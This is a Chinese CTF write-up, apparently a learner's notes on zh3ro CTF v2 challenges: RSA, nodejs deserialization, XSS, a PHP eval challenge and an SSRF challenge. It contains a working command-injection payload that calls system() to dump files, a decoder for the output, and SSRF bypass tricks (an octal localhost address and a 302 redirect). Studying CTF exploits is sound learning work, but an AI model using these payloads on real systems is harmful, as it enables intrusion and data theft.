Cryptography

大佬的博客https://zeyu2001.gitbook.io/ctfs/2021/zh3ro-ctf-v2/sparta

CRY

alice_bob_dave

应该是个简单的RSA逆向! 分解公约数N!但是反着来!我不会啊!tcl!

image-20210607173315186

求最大公约数!就是(p-1)

看了一会大佬的思路!

我一开始以为就是逆过来求!还是太菜了!

通过上图分解公因数Ka(p-1)

哪怎么得到p呢!

再通过P必须是素数!就看大佬写的脚本把!我不是很懂!

image-20210607182150664

q_multiple = Decimal(de_a - 1) / (p - 1)

求出ka(q-1) 和 ka(r-1)

求出还是那个方法求出Q 和R

POW(C,D,N)

求出flag

我太菜了!

WEB

sparta

nodejs 反序列漏洞RCE

bxxs

这个xss完一个感觉环境爆炸了! 不太会利用xss。就会打个cookie!还没打到!

Secret_admin_cookie_panel

有这个页面后!不知道怎么做了!

image-20210607162511005

太菜了!

image-20210607162531231

strpos and substr

<?php
highlight_file(__FILE__);
ini_set('display_errors',0);
include("flag.php");
if(!isset($_GET['user'])) highlight_file(__FILE__);
else{
$a=$_GET['user'];
if(strlen($a)>24 || gettype($a)!=="string" ){
die("oh nâu!!");
}
if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
$a=md5($a);
}
if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
$a=md5($a);
}

eval("echo 'Hello ".$a."<br>$flag';");


}

记录大佬wp

GET /?user=',('system')('od+/*'+),' HTTP/1.1
dump = " 000000 066146 063541 062547 062547 070056 070150 005015 066146  000020 063541 074170 027170 074164 006564 063012 060554 063147  000040 065541 032545 005015 066146 063541 060546 062553 006464  000060 063012 060554 063147 065541 031545 005015 066146 063541  000100 060546 062553 006462 063012 060554 063147 065541 030545  000120 005015 064172 071063 075460 032127 066522 070125 032137  000140 043137 067165 030537 031463 031463 031463 031463 033463  000160 006575 063012 060554 063147 065541 033145  000174  000174"
octs = [("0o" + n) for n in dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:
if (len(hex(n)) > 4):
swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
result += swapped[2:].zfill(4)
print(bytes.fromhex(result).decode())

Baby SSRF

太菜了!

0177.0.0.1可以绕过!

给的提示的5000到10000

一开始不知道啥意思!是端口的范围!🙄

302可以直接得到flag!

<?php
header("Location: http://localhost:9006/");
?>